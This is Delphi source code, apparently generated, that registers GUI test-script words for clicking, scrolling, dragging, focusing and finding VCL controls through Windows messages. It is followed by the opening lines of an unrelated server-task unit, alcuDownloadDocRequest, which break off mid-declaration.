{* Реализация слова скрипта pop:Control:CanFocus }
protected
class function GetWordNameForRegister: AnsiString; override;
procedure DoDoIt(const aCtx: TtfwContext); override;
public
function GetResultTypeInfo(const aCtx: TtfwContext): PTypeInfo; override;
function GetAllParamsCount(const aCtx: TtfwContext): Integer; override;
function ParamsTypes: PTypeInfoArray; override;
procedure SetValuePrim(const aValue: TtfwStackValue;
const aCtx: TtfwContext); override;
end;//TkwPopControlCanFocus
procedure TkwPopControlMouseLeftClick.MouseLeftClick(const aCtx: TtfwContext;
aControl: TWinControl;
const aPoint: TPoint);
{* Реализация слова скрипта pop:Control:MouseLeftClick }
//#UC START# *54FEEA730358_54FEEA730358_47E124E90272_Word_var*
var
l_Pos : TPoint;
l_MousePos : TSmallPoint;
//#UC END# *54FEEA730358_54FEEA730358_47E124E90272_Word_var*
begin
//#UC START# *54FEEA730358_54FEEA730358_47E124E90272_Word_impl*
with aControl.BoundsRect do
l_Pos := Point(Left + aPoint.X, Top + aPoint.Y);
l_MousePos := PointToSmallPoint(l_Pos);
SendMessage(aControl.Handle, WM_LBUTTONDOWN, 0, Longint(l_MousePos));
SendMessage(aControl.Handle, WM_LBUTTONUP, 0, Longint(l_MousePos));
//#UC END# *54FEEA730358_54FEEA730358_47E124E90272_Word_impl*
end;//TkwPopControlMouseLeftClick.MouseLeftClick
class function TkwPopControlMouseLeftClick.GetWordNameForRegister: AnsiString;
begin
Result := 'pop:Control:MouseLeftClick';
end;//TkwPopControlMouseLeftClick.GetWordNameForRegister
function TkwPopControlMouseLeftClick.GetResultTypeInfo(const aCtx: TtfwContext): PTypeInfo;
begin
Result := @tfw_tiVoid;
end;//TkwPopControlMouseLeftClick.GetResultTypeInfo
function TkwPopControlMouseLeftClick.GetAllParamsCount(const aCtx: TtfwContext): Integer;
begin
Result := 2;
end;//TkwPopControlMouseLeftClick.GetAllParamsCount
function TkwPopControlMouseLeftClick.ParamsTypes: PTypeInfoArray;
begin
Result := OpenTypesToTypes([TypeInfo(TWinControl), @tfw_tiStruct]);
end;//TkwPopControlMouseLeftClick.ParamsTypes
procedure TkwPopControlMouseLeftClick.DoDoIt(const aCtx: TtfwContext);
var l_aControl: TWinControl;
var l_aPoint: TPoint;
begin
try
l_aControl := TWinControl(aCtx.rEngine.PopObjAs(TWinControl));
except
on E: Exception do
begin
RunnerError('Ошибка при получении параметра aControl: TWinControl : ' + E.Message, aCtx);
Exit;
end;//on E: Exception
end;//try..except
try
l_aPoint := aCtx.rEngine.PopPoint;
except
on E: Exception do
begin
RunnerError('Ошибка при получении параметра aPoint: TPoint : ' + E.Message, aCtx);
Exit;
end;//on E: Exception
end;//try..except
MouseLeftClick(aCtx, l_aControl, l_aPoint);
end;//TkwPopControlMouseLeftClick.DoDoIt
procedure TkwPopControlMouseMiddleClick.MouseMiddleClick(const aCtx: TtfwContext;
aControl: TWinControl;
const aPoint: TPoint);
{* Реализация слова скрипта pop:Control:MouseMiddleClick }
//#UC START# *54FEEA9100DE_54FEEA9100DE_47E124E90272_Word_var*
var
l_Pos : TPoint;
l_MousePos : TSmallPoint;
//#UC END# *54FEEA9100DE_54FEEA9100DE_47E124E90272_Word_var*
begin
//#UC START# *54FEEA9100DE_54FEEA9100DE_47E124E90272_Word_impl*
with aControl.BoundsRect do
l_Pos := Point(Left + aPoint.X, Top + aPoint.Y);
l_MousePos := PointToSmallPoint(l_Pos);
SendMessage(aControl.Handle, WM_MBUTTONDOWN, 0, Longint(l_MousePos));
SendMessage(aControl.Handle, WM_MBUTTONUP, 0, Longint(l_MousePos));
//#UC END# *54FEEA9100DE_54FEEA9100DE_47E124E90272_Word_impl*
end;//TkwPopControlMouseMiddleClick.MouseMiddleClick
class function TkwPopControlMouseMiddleClick.GetWordNameForRegister: AnsiString;
begin
Result := 'pop:Control:MouseMiddleClick';
end;//TkwPopControlMouseMiddleClick.GetWordNameForRegister
function TkwPopControlMouseMiddleClick.GetResultTypeInfo(const aCtx: TtfwContext): PTypeInfo;
begin
Result := @tfw_tiVoid;
end;//TkwPopControlMouseMiddleClick.GetResultTypeInfo
function TkwPopControlMouseMiddleClick.GetAllParamsCount(const aCtx: TtfwContext): Integer;
begin
Result := 2;
end;//TkwPopControlMouseMiddleClick.GetAllParamsCount
function TkwPopControlMouseMiddleClick.ParamsTypes: PTypeInfoArray;
begin
Result := OpenTypesToTypes([TypeInfo(TWinControl), @tfw_tiStruct]);
end;//TkwPopControlMouseMiddleClick.ParamsTypes
procedure TkwPopControlMouseMiddleClick.DoDoIt(const aCtx: TtfwContext);
var l_aControl: TWinControl;
var l_aPoint: TPoint;
begin
try
l_aControl := TWinControl(aCtx.rEngine.PopObjAs(TWinControl));
except
on E: Exception do
begin
RunnerError('Ошибка при получении параметра aControl: TWinControl : ' + E.Message, aCtx);
Exit;
end;//on E: Exception
end;//try..except
try
l_aPoint := aCtx.rEngine.PopPoint;
except
on E: Exception do
begin
RunnerError('Ошибка при получении параметра aPoint: TPoint : ' + E.Message, aCtx);
Exit;
end;//on E: Exception
end;//try..except
MouseMiddleClick(aCtx, l_aControl, l_aPoint);
end;//TkwPopControlMouseMiddleClick.DoDoIt
procedure TkwPopControlMouseRightClick.MouseRightClick(const aCtx: TtfwContext;
aControl: TWinControl;
const aPoint: TPoint);
{* Реализация слова скрипта pop:Control:MouseRightClick }
//#UC START# *54FEEA9F0254_54FEEA9F0254_47E124E90272_Word_var*
var
l_Pos : TPoint;
l_MousePos : TSmallPoint;
//#UC END# *54FEEA9F0254_54FEEA9F0254_47E124E90272_Word_var*
begin
//#UC START# *54FEEA9F0254_54FEEA9F0254_47E124E90272_Word_impl*
with aControl.BoundsRect do
l_Pos := Point(Left + aPoint.X, Top + aPoint.Y);
l_MousePos := PointToSmallPoint(l_Pos);
SendMessage(aControl.Handle, WM_RBUTTONDOWN, 0, Longint(l_MousePos));
SendMessage(aControl.Handle, WM_RBUTTONUP, 0, Longint(l_MousePos));
//#UC END# *54FEEA9F0254_54FEEA9F0254_47E124E90272_Word_impl*
end;//TkwPopControlMouseRightClick.MouseRightClick
class function TkwPopControlMouseRightClick.GetWordNameForRegister: AnsiString;
begin
Result := 'pop:Control:MouseRightClick';
end;//TkwPopControlMouseRightClick.GetWordNameForRegister
function TkwPopControlMouseRightClick.GetResultTypeInfo(const aCtx: TtfwContext): PTypeInfo;
begin
Result := @tfw_tiVoid;
end;//TkwPopControlMouseRightClick.GetResultTypeInfo
function TkwPopControlMouseRightClick.GetAllParamsCount(const aCtx: TtfwContext): Integer;
begin
Result := 2;
end;//TkwPopControlMouseRightClick.GetAllParamsCount
function TkwPopControlMouseRightClick.ParamsTypes: PTypeInfoArray;
begin
Result := OpenTypesToTypes([TypeInfo(TWinControl), @tfw_tiStruct]);
end;//TkwPopControlMouseRightClick.ParamsTypes
procedure TkwPopControlMouseRightClick.DoDoIt(const aCtx: TtfwContext);
var l_aControl: TWinControl;
var l_aPoint: TPoint;
begin
try
l_aControl := TWinControl(aCtx.rEngine.PopObjAs(TWinControl));
except
on E: Exception do
begin
RunnerError('Ошибка при получении параметра aControl: TWinControl : ' + E.Message, aCtx);
Exit;
end;//on E: Exception
end;//try..except
try
l_aPoint := aCtx.rEngine.PopPoint;
except
on E: Exception do
begin
RunnerError('Ошибка при получении параметра aPoint: TPoint : ' + E.Message, aCtx);
Exit;
end;//on E: Exception
end;//try..except
MouseRightClick(aCtx, l_aControl, l_aPoint);
end;//TkwPopControlMouseRightClick.DoDoIt
function TkwPopControlFindControlByName.FindControlByName(const aCtx: TtfwContext;
aControl: TWinControl;
const aName: AnsiString): TComponent;
{* Реализация слова скрипта pop:Control:FindControlByName }
//#UC START# *54FEFD260127_54FEFD260127_47E124E90272_Word_var*
function DoFindControl(aControl: TWinControl): TComponent{TControl};
var
l_Index : Integer;
l_C : TControl;
l_Cmp : TComponent;
begin//DoFindControl
if (aControl.Name = aName) then
Result := aControl
else
begin
Result := nil;
for l_Index := 0 to Pred(aControl.ControlCount) do
begin
l_C := aControl.Controls[l_Index];
if (l_C.Name = aName) then
begin
Result := l_C;
Exit;
end//l_C.Name = l_Name
else
begin
if (l_C Is TWinControl) then
begin
Result := DoFindControl(TWinControl(l_C));
if (Result <> nil) then
Exit;
end;//l_C Is TWinControl
end;//l_C.Name = l_Name
end;//for l_Index
if (Result = nil) then
for l_Index := 0 to Pred(aControl.ComponentCount) do
begin
l_Cmp := aControl.Components[l_Index];
if (l_Cmp Is TControl) AND (l_Cmp.Name = aName) then
begin
Result := {TControl}(l_Cmp);
Exit;
end//l_C.Name = aName
else
if (l_Cmp Is TWinControl) then
begin
Result := DoFindControl(TWinControl(l_Cmp));
if (Result <> nil) then
Exit;
end;//l_C Is TWinControl
Result := l_Cmp.FindComponent(aName);
if (Result <> nil) then
Exit;
if (l_Cmp.Name = aName) then
begin
Result := l_Cmp;
Exit;
end;//l_C.Name = aName
end;//for l_Index
end;//aControl.Name = l_Name
end;//DoFindControl
//#UC END# *54FEFD260127_54FEFD260127_47E124E90272_Word_var*
begin
//#UC START# *54FEFD260127_54FEFD260127_47E124E90272_Word_impl*
Result := DoFindControl(aControl);
//#UC END# *54FEFD260127_54FEFD260127_47E124E90272_Word_impl*
end;//TkwPopControlFindControlByName.FindControlByName
class function TkwPopControlFindControlByName.GetWordNameForRegister: AnsiString;
begin
Result := 'pop:Control:FindControlByName';
end;//TkwPopControlFindControlByName.GetWordNameForRegister
function TkwPopControlFindControlByName.GetResultTypeInfo(const aCtx: TtfwContext): PTypeInfo;
begin
Result := TypeInfo(TComponent);
end;//TkwPopControlFindControlByName.GetResultTypeInfo
function TkwPopControlFindControlByName.GetAllParamsCount(const aCtx: TtfwContext): Integer;
begin
Result := 2;
end;//TkwPopControlFindControlByName.GetAllParamsCount
function TkwPopControlFindControlByName.ParamsTypes: PTypeInfoArray;
begin
Result := OpenTypesToTypes([TypeInfo(TWinControl), @tfw_tiString]);
end;//TkwPopControlFindControlByName.ParamsTypes
procedure TkwPopControlFindControlByName.DoDoIt(const aCtx: TtfwContext);
var l_aControl: TWinControl;
var l_aName: AnsiString;
begin
try
l_aControl := TWinControl(aCtx.rEngine.PopObjAs(TWinControl));
except
on E: Exception do
begin
RunnerError('Ошибка при получении параметра aControl: TWinControl : ' + E.Message, aCtx);
Exit;
end;//on E: Exception
end;//try..except
try
l_aName := aCtx.rEngine.PopDelphiString;
except
on E: Exception do
begin
RunnerError('Ошибка при получении параметра aName: AnsiString : ' + E.Message, aCtx);
Exit;
end;//on E: Exception
end;//try..except
aCtx.rEngine.PushObj(FindControlByName(aCtx, l_aControl, l_aName));
end;//TkwPopControlFindControlByName.DoDoIt
function TkwPopControlGetControl.GetControl(const aCtx: TtfwContext;
aControl: TWinControl;
anIndex: Integer): TControl;
{* Реализация слова скрипта pop:Control:GetControl }
//#UC START# *54FEFD3E00BB_54FEFD3E00BB_47E124E90272_Word_var*
//#UC END# *54FEFD3E00BB_54FEFD3E00BB_47E124E90272_Word_var*
begin
//#UC START# *54FEFD3E00BB_54FEFD3E00BB_47E124E90272_Word_impl*
Result := aControl.Controls[anIndex];
//#UC END# *54FEFD3E00BB_54FEFD3E00BB_47E124E90272_Word_impl*
end;//TkwPopControlGetControl.GetControl
class function TkwPopControlGetControl.GetWordNameForRegister: AnsiString;
begin
Result := 'pop:Control:GetControl';
end;//TkwPopControlGetControl.GetWordNameForRegister
function TkwPopControlGetControl.GetResultTypeInfo(const aCtx: TtfwContext): PTypeInfo;
begin
Result := TypeInfo(TControl);
end;//TkwPopControlGetControl.GetResultTypeInfo
function TkwPopControlGetControl.GetAllParamsCount(const aCtx: TtfwContext): Integer;
begin
Result := 2;
end;//TkwPopControlGetControl.GetAllParamsCount
function TkwPopControlGetControl.ParamsTypes: PTypeInfoArray;
begin
Result := OpenTypesToTypes([TypeInfo(TWinControl), TypeInfo(Integer)]);
end;//TkwPopControlGetControl.ParamsTypes
procedure TkwPopControlGetControl.DoDoIt(const aCtx: TtfwContext);
var l_aControl: TWinControl;
var l_anIndex: Integer;
begin
try
l_aControl := TWinControl(aCtx.rEngine.PopObjAs(TWinControl));
except
on E: Exception do
begin
RunnerError('Ошибка при получении параметра aControl: TWinControl : ' + E.Message, aCtx);
Exit;
end;//on E: Exception
end;//try..except
try
l_anIndex := aCtx.rEngine.PopInt;
except
on E: Exception do
begin
RunnerError('Ошибка при получении параметра anIndex: Integer : ' + E.Message, aCtx);
Exit;
end;//on E: Exception
end;//try..except
aCtx.rEngine.PushObj(GetControl(aCtx, l_aControl, l_anIndex));
end;//TkwPopControlGetControl.DoDoIt
procedure TkwPopControlMouseWheelUp.MouseWheelUp(const aCtx: TtfwContext;
aControl: TWinControl);
{* Реализация слова скрипта pop:Control:MouseWheelUp }
//#UC START# *54FEFDD7023D_54FEFDD7023D_47E124E90272_Word_var*
//#UC END# *54FEFDD7023D_54FEFDD7023D_47E124E90272_Word_var*
begin
//#UC START# *54FEFDD7023D_54FEFDD7023D_47E124E90272_Word_impl*
SendMessage(aControl.Handle, WM_VSCROLL, MakeWParam(SB_LINEUP, 0), 0);
//#UC END# *54FEFDD7023D_54FEFDD7023D_47E124E90272_Word_impl*
end;//TkwPopControlMouseWheelUp.MouseWheelUp
class function TkwPopControlMouseWheelUp.GetWordNameForRegister: AnsiString;
begin
Result := 'pop:Control:MouseWheelUp';
end;//TkwPopControlMouseWheelUp.GetWordNameForRegister
function TkwPopControlMouseWheelUp.GetResultTypeInfo(const aCtx: TtfwContext): PTypeInfo;
begin
Result := @tfw_tiVoid;
end;//TkwPopControlMouseWheelUp.GetResultTypeInfo
function TkwPopControlMouseWheelUp.GetAllParamsCount(const aCtx: TtfwContext): Integer;
begin
Result := 1;
end;//TkwPopControlMouseWheelUp.GetAllParamsCount
function TkwPopControlMouseWheelUp.ParamsTypes: PTypeInfoArray;
begin
Result := OpenTypesToTypes([TypeInfo(TWinControl)]);
end;//TkwPopControlMouseWheelUp.ParamsTypes
procedure TkwPopControlMouseWheelUp.DoDoIt(const aCtx: TtfwContext);
var l_aControl: TWinControl;
begin
try
l_aControl := TWinControl(aCtx.rEngine.PopObjAs(TWinControl));
except
on E: Exception do
begin
RunnerError('Ошибка при получении параметра aControl: TWinControl : ' + E.Message, aCtx);
Exit;
end;//on E: Exception
end;//try..except
MouseWheelUp(aCtx, l_aControl);
end;//TkwPopControlMouseWheelUp.DoDoIt
procedure TkwPopControlMouseWheelDown.MouseWheelDown(const aCtx: TtfwContext;
aControl: TWinControl);
{* Реализация слова скрипта pop:Control:MouseWheelDown }
//#UC START# *54FEFDDD0359_54FEFDDD0359_47E124E90272_Word_var*
//#UC END# *54FEFDDD0359_54FEFDDD0359_47E124E90272_Word_var*
begin
//#UC START# *54FEFDDD0359_54FEFDDD0359_47E124E90272_Word_impl*
SendMessage(aControl.Handle, WM_VSCROLL, MakeWParam(SB_LINEDOWN, 0), 0);
//#UC END# *54FEFDDD0359_54FEFDDD0359_47E124E90272_Word_impl*
end;//TkwPopControlMouseWheelDown.MouseWheelDown
class function TkwPopControlMouseWheelDown.GetWordNameForRegister: AnsiString;
begin
Result := 'pop:Control:MouseWheelDown';
end;//TkwPopControlMouseWheelDown.GetWordNameForRegister
function TkwPopControlMouseWheelDown.GetResultTypeInfo(const aCtx: TtfwContext): PTypeInfo;
begin
Result := @tfw_tiVoid;
end;//TkwPopControlMouseWheelDown.GetResultTypeInfo
function TkwPopControlMouseWheelDown.GetAllParamsCount(const aCtx: TtfwContext): Integer;
begin
Result := 1;
end;//TkwPopControlMouseWheelDown.GetAllParamsCount
function TkwPopControlMouseWheelDown.ParamsTypes: PTypeInfoArray;
begin
Result := OpenTypesToTypes([TypeInfo(TWinControl)]);
end;//TkwPopControlMouseWheelDown.ParamsTypes
procedure TkwPopControlMouseWheelDown.DoDoIt(const aCtx: TtfwContext);
var l_aControl: TWinControl;
begin
try
l_aControl := TWinControl(aCtx.rEngine.PopObjAs(TWinControl));
except
on E: Exception do
begin
RunnerError('Ошибка при получении параметра aControl: TWinControl : ' + E.Message, aCtx);
Exit;
end;//on E: Exception
end;//try..except
MouseWheelDown(aCtx, l_aControl);
end;//TkwPopControlMouseWheelDown.DoDoIt
function TkwPopControlSetFocus.SetFocus(const aCtx: TtfwContext;
aControl: TWinControl): Boolean;
{* Реализация слова скрипта pop:Control:SetFocus }
//#UC START# *54FEFE270305_54FEFE270305_47E124E90272_Word_var*
//#UC END# *54FEFE270305_54FEFE270305_47E124E90272_Word_var*
begin
//#UC START# *54FEFE270305_54FEFE270305_47E124E90272_Word_impl*
if aControl.CanFocus then
aControl.SetFocus;
Result := aControl.Focused;
//#UC END# *54FEFE270305_54FEFE270305_47E124E90272_Word_impl*
end;//TkwPopControlSetFocus.SetFocus
class function TkwPopControlSetFocus.GetWordNameForRegister: AnsiString;
begin
Result := 'pop:Control:SetFocus';
end;//TkwPopControlSetFocus.GetWordNameForRegister
function TkwPopControlSetFocus.GetResultTypeInfo(const aCtx: TtfwContext): PTypeInfo;
begin
Result := TypeInfo(Boolean);
end;//TkwPopControlSetFocus.GetResultTypeInfo
function TkwPopControlSetFocus.GetAllParamsCount(const aCtx: TtfwContext): Integer;
begin
Result := 1;
end;//TkwPopControlSetFocus.GetAllParamsCount
function TkwPopControlSetFocus.ParamsTypes: PTypeInfoArray;
begin
Result := OpenTypesToTypes([TypeInfo(TWinControl)]);
end;//TkwPopControlSetFocus.ParamsTypes
procedure TkwPopControlSetFocus.DoDoIt(const aCtx: TtfwContext);
var l_aControl: TWinControl;
begin
try
l_aControl := TWinControl(aCtx.rEngine.PopObjAs(TWinControl));
except
on E: Exception do
begin
RunnerError('Ошибка при получении параметра aControl: TWinControl : ' + E.Message, aCtx);
Exit;
end;//on E: Exception
end;//try..except
aCtx.rEngine.PushBool(SetFocus(aCtx, l_aControl));
end;//TkwPopControlSetFocus.DoDoIt
procedure TkwPopControlMouseLeftDragAndDrop.MouseLeftDragAndDrop(const aCtx: TtfwContext;
aControl: TWinControl;
const aDelta: TPoint;
const aPoint: TPoint);
{* Реализация слова скрипта pop:Control:MouseLeftDragAndDrop }
//#UC START# *550002F503A0_550002F503A0_47E124E90272_Word_var*
var
l_Pos : TPoint;
l_Pos1 : TPoint;
l_MousePos : TSmallPoint;
l_MousePos1 : TSmallPoint;
//#UC END# *550002F503A0_550002F503A0_47E124E90272_Word_var*
begin
//#UC START# *550002F503A0_550002F503A0_47E124E90272_Word_impl*
with aControl.BoundsRect do
begin
l_Pos := Point(Left + aPoint.X, Top + aPoint.Y);
l_Pos1 := Point(l_Pos.X + aDelta.X, l_Pos.Y + aDelta.Y);
end;//with aControl.BoundsRect
l_MousePos := PointToSmallPoint(l_Pos);
l_MousePos1 := PointToSmallPoint(l_Pos1);
SendMessage(aControl.Handle, WM_LBUTTONDOWN, 0, Longint(l_MousePos));
SendMessage(aControl.Handle, WM_MOUSEMOVE, 0, Longint(l_MousePos1));
SendMessage(aControl.Handle, WM_LBUTTONUP, 0, Longint(l_MousePos1));
//#UC END# *550002F503A0_550002F503A0_47E124E90272_Word_impl*
end;//TkwPopControlMouseLeftDragAndDrop.MouseLeftDragAndDrop
class function TkwPopControlMouseLeftDragAndDrop.GetWordNameForRegister: AnsiString;
begin
Result := 'pop:Control:MouseLeftDragAndDrop';
end;//TkwPopControlMouseLeftDragAndDrop.GetWordNameForRegister
function TkwPopControlMouseLeftDragAndDrop.GetResultTypeInfo(const aCtx: TtfwContext): PTypeInfo;
begin
Result := @tfw_tiVoid;
end;//TkwPopControlMouseLeftDragAndDrop.GetResultTypeInfo
function TkwPopControlMouseLeftDragAndDrop.GetAllParamsCount(const aCtx: TtfwContext): Integer;
begin
Result := 3;
end;//TkwPopControlMouseLeftDragAndDrop.GetAllParamsCount
function TkwPopControlMouseLeftDragAndDrop.ParamsTypes: PTypeInfoArray;
begin
Result := OpenTypesToTypes([TypeInfo(TWinControl), @tfw_tiStruct, @tfw_tiStruct]);
end;//TkwPopControlMouseLeftDragAndDrop.ParamsTypes
procedure TkwPopControlMouseLeftDragAndDrop.DoDoIt(const aCtx: TtfwContext);
var l_aControl: TWinControl;
var l_aDelta: TPoint;
var l_aPoint: TPoint;
begin
try
l_aControl := TWinControl(aCtx.rEngine.PopObjAs(TWinControl));
except
on E: Exception do
begin
RunnerError('Ошибка при получении параметра aControl: TWinControl : ' + E.Message, aCtx);
Exit;
end;//on E: Exception
end;//try..except
try
l_aDelta := aCtx.rEngine.PopPoint;
except
on E: Exception do
begin
RunnerError('Ошибка при получении параметра aDelta: TPoint : ' + E.Message, aCtx);
Exit;
end;//on E: Exception
end;//try..except
try
l_aPoint := aCtx.rEngine.PopPoint;
except
on E: Exception do
begin
RunnerError('Ошибка при получении параметра aPoint: TPoint : ' + E.Message, aCtx);
Exit;
end;//on E: Exception
end;//try..except
MouseLeftDragAndDrop(aCtx, l_aControl, l_aDelta, l_aPoint);
end;//TkwPopControlMouseLeftDragAndDrop.DoDoIt
function TkwPopControlControlCount.ControlCount(const aCtx: TtfwContext;
aControl: TWinControl): Integer;
{* Реализация слова скрипта pop:Control:ControlCount }
begin
Result := aControl.ControlCount;
end;//TkwPopControlControlCount.ControlCount
class function TkwPopControlControlCount.GetWordNameForRegister: AnsiString;
begin
Result := 'pop:Control:ControlCount';
end;//TkwPopControlControlCount.GetWordNameForRegister
function TkwPopControlControlCount.GetResultTypeInfo(const aCtx: TtfwContext): PTypeInfo;
begin
Result := TypeInfo(Integer);
end;//TkwPopControlControlCount.GetResultTypeInfo
function TkwPopControlControlCount.GetAllParamsCount(const aCtx: TtfwContext): Integer;
begin
Result := 1;
end;//TkwPopControlControlCount.GetAllParamsCount
function TkwPopControlControlCount.ParamsTypes: PTypeInfoArray;
begin
Result := OpenTypesToTypes([TypeInfo(TWinControl)]);
end;//TkwPopControlControlCount.ParamsTypes
procedure TkwPopControlControlCount.SetValuePrim(const aValue: TtfwStackValue;
const aCtx: TtfwContext);
begin
RunnerError('Нельзя присваивать значение readonly свойству ControlCount', aCtx);
end;//TkwPopControlControlCount.SetValuePrim
procedure TkwPopControlControlCount.DoDoIt(const aCtx: TtfwContext);
var l_aControl: TWinControl;
begin
try
l_aControl := TWinControl(aCtx.rEngine.PopObjAs(TWinControl));
except
on E: Exception do
begin
RunnerError('Ошибка при получении параметра aControl: TWinControl : ' + E.Message, aCtx);
Exit;
end;//on E: Exception
end;//try..except
aCtx.rEngine.PushInt(ControlCount(aCtx, l_aControl));
end;//TkwPopControlControlCount.DoDoIt
function TkwPopControlHandle.Handle(const aCtx: TtfwContext;
aControl: TWinControl): Cardinal;
{* Реализация слова скрипта pop:Control:Handle }
begin
Result := aControl.Handle;
end;//TkwPopControlHandle.Handle
class function TkwPopControlHandle.GetWordNameForRegister: AnsiString;
begin
Result := 'pop:Control:Handle';
end;//TkwPopControlHandle.GetWordNameForRegister
function TkwPopControlHandle.GetResultTypeInfo(const aCtx: TtfwContext): PTypeInfo;
begin
Result := TypeInfo(Cardinal);
end;//TkwPopControlHandle.GetResultTypeInfo
function TkwPopControlHandle.GetAllParamsCount(const aCtx: TtfwContext): Integer;
begin
Result := 1;
end;//TkwPopControlHandle.GetAllParamsCount
function TkwPopControlHandle.ParamsTypes: PTypeInfoArray;
begin
Result := OpenTypesToTypes([TypeInfo(TWinControl)]);
end;//TkwPopControlHandle.ParamsTypes
procedure TkwPopControlHandle.SetValuePrim(const aValue: TtfwStackValue;
const aCtx: TtfwContext);
begin
RunnerError('Нельзя присваивать значение readonly свойству Handle', aCtx);
end;//TkwPopControlHandle.SetValuePrim
procedure TkwPopControlHandle.DoDoIt(const aCtx: TtfwContext);
var l_aControl: TWinControl;
begin
try
l_aControl := TWinControl(aCtx.rEngine.PopObjAs(TWinControl));
except
on E: Exception do
begin
RunnerError('Ошибка при получении параметра aControl: TWinControl : ' + E.Message, aCtx);
Exit;
end;//on E: Exception
end;//try..except
aCtx.rEngine.PushInt(Integer(Handle(aCtx, l_aControl)));
end;//TkwPopControlHandle.DoDoIt
function TkwPopControlFocused.Focused(const aCtx: TtfwContext;
aControl: TWinControl): Boolean;
{* Реализация слова скрипта pop:Control:Focused }
begin
Result := aControl.Focused;
end;//TkwPopControlFocused.Focused
class function TkwPopControlFocused.GetWordNameForRegister: AnsiString;
begin
Result := 'pop:Control:Focused';
end;//TkwPopControlFocused.GetWordNameForRegister
function TkwPopControlFocused.GetResultTypeInfo(const aCtx: TtfwContext): PTypeInfo;
begin
Result := TypeInfo(Boolean);
end;//TkwPopControlFocused.GetResultTypeInfo
function TkwPopControlFocused.GetAllParamsCount(const aCtx: TtfwContext): Integer;
begin
Result := 1;
end;//TkwPopControlFocused.GetAllParamsCount
function TkwPopControlFocused.ParamsTypes: PTypeInfoArray;
begin
Result := OpenTypesToTypes([TypeInfo(TWinControl)]);
end;//TkwPopControlFocused.ParamsTypes
procedure TkwPopControlFocused.SetValuePrim(const aValue: TtfwStackValue;
const aCtx: TtfwContext);
begin
RunnerError('Нельзя присваивать значение readonly свойству Focused', aCtx);
end;//TkwPopControlFocused.SetValuePrim
procedure TkwPopControlFocused.DoDoIt(const aCtx: TtfwContext);
var l_aControl: TWinControl;
begin
try
l_aControl := TWinControl(aCtx.rEngine.PopObjAs(TWinControl));
except
on E: Exception do
begin
RunnerError('Ошибка при получении параметра aControl: TWinControl : ' + E.Message, aCtx);
Exit;
end;//on E: Exception
end;//try..except
aCtx.rEngine.PushBool(Focused(aCtx, l_aControl));
end;//TkwPopControlFocused.DoDoIt
function TkwPopControlCanFocus.CanFocus(const aCtx: TtfwContext;
aControl: TWinControl): Boolean;
{* Реализация слова скрипта pop:Control:CanFocus }
begin
Result := aControl.CanFocus;
end;//TkwPopControlCanFocus.CanFocus
class function TkwPopControlCanFocus.GetWordNameForRegister: AnsiString;
begin
Result := 'pop:Control:CanFocus';
end;//TkwPopControlCanFocus.GetWordNameForRegister
function TkwPopControlCanFocus.GetResultTypeInfo(const aCtx: TtfwContext): PTypeInfo;
begin
Result := TypeInfo(Boolean);
end;//TkwPopControlCanFocus.GetResultTypeInfo
function TkwPopControlCanFocus.GetAllParamsCount(const aCtx: TtfwContext): Integer;
begin
Result := 1;
end;//TkwPopControlCanFocus.GetAllParamsCount
function TkwPopControlCanFocus.ParamsTypes: PTypeInfoArray;
begin
Result := OpenTypesToTypes([TypeInfo(TWinControl)]);
end;//TkwPopControlCanFocus.ParamsTypes
procedure TkwPopControlCanFocus.SetValuePrim(const aValue: TtfwStackValue;
const aCtx: TtfwContext);
begin
RunnerError('Нельзя присваивать значение readonly свойству CanFocus', aCtx);
end;//TkwPopControlCanFocus.SetValuePrim
procedure TkwPopControlCanFocus.DoDoIt(const aCtx: TtfwContext);
var l_aControl: TWinControl;
begin
try
l_aControl := TWinControl(aCtx.rEngine.PopObjAs(TWinControl));
except
on E: Exception do
begin
RunnerError('Ошибка при получении параметра aControl: TWinControl : ' + E.Message, aCtx);
Exit;
end;//on E: Exception
end;//try..except
aCtx.rEngine.PushBool(CanFocus(aCtx, l_aControl));
end;//TkwPopControlCanFocus.DoDoIt
initialization
TkwPopControlMouseLeftClick.RegisterInEngine;
{* Регистрация pop_Control_MouseLeftClick }
TkwPopControlMouseMiddleClick.RegisterInEngine;
{* Регистрация pop_Control_MouseMiddleClick }
TkwPopControlMouseRightClick.RegisterInEngine;
{* Регистрация pop_Control_MouseRightClick }
TkwPopControlFindControlByName.RegisterInEngine;
{* Регистрация pop_Control_FindControlByName }
TkwPopControlGetControl.RegisterInEngine;
{* Регистрация pop_Control_GetControl }
TkwPopControlMouseWheelUp.RegisterInEngine;
{* Регистрация pop_Control_MouseWheelUp }
TkwPopControlMouseWheelDown.RegisterInEngine;
{* Регистрация pop_Control_MouseWheelDown }
TkwPopControlSetFocus.RegisterInEngine;
{* Регистрация pop_Control_SetFocus }
TkwPopControlMouseLeftDragAndDrop.RegisterInEngine;
{* Регистрация pop_Control_MouseLeftDragAndDrop }
TkwPopControlControlCount.RegisterInEngine;
{* Регистрация pop_Control_ControlCount }
TkwPopControlHandle.RegisterInEngine;
{* Регистрация pop_Control_Handle }
TkwPopControlFocused.RegisterInEngine;
{* Регистрация pop_Control_Focused }
TkwPopControlCanFocus.RegisterInEngine;
{* Регистрация pop_Control_CanFocus }
TtfwTypeRegistrator.RegisterType(TypeInfo(TWinControl));
{* Регистрация типа TWinControl }
TtfwTypeRegistrator.RegisterType(TypeInfo(TComponent));
{* Регистрация типа TComponent }
TtfwTypeRegistrator.RegisterType(TypeInfo(TControl));
{* Регистрация типа TControl }
TtfwTypeRegistrator.RegisterType(TypeInfo(Boolean));
{* Регистрация типа Boolean }
TtfwTypeRegistrator.RegisterType(TypeInfo(Integer));
{* Регистрация типа Integer }
TtfwTypeRegistrator.RegisterType(TypeInfo(Cardinal));
{* Регистрация типа Cardinal }
TtfwTypeRegistrator.RegisterType(@tfw_tiStruct);
{* Регистрация типа TPoint }
TtfwTypeRegistrator.RegisterType(@tfw_tiString);
{* Регистрация типа AnsiString }
{$IfEnd} // NOT Defined(NoScripts) AND NOT Defined(NoVCL)
end.
|
unit alcuDownloadDocRequest;
// Модуль: "w:\archi\source\projects\PipeInAuto\Tasks\alcuDownloadDocRequest.pas"
// Стереотип: "SimpleClass"
// Элемент модели: "TalcuDownloadDocRequest" MUID: (57C3FAF20200)
{$Include w:\archi\source\projects\PipeInAuto\alcuDefine.inc}
interface
{$If Defined(ServerTasks)}
uses
l3IntfUses
, alcuWaitableRequest
{$If NOT Defined(Nemesis)}
, csDownloadDocStream
{$IfEnd} // NOT Defined(Nemesis)
{$If NOT Defined(Nemesis)}
, csDownloadDocStreamReply
{$IfEnd} // NOT Defined(Nemesis)
, k2Base
{$If NOT Defined(Nemesis)}
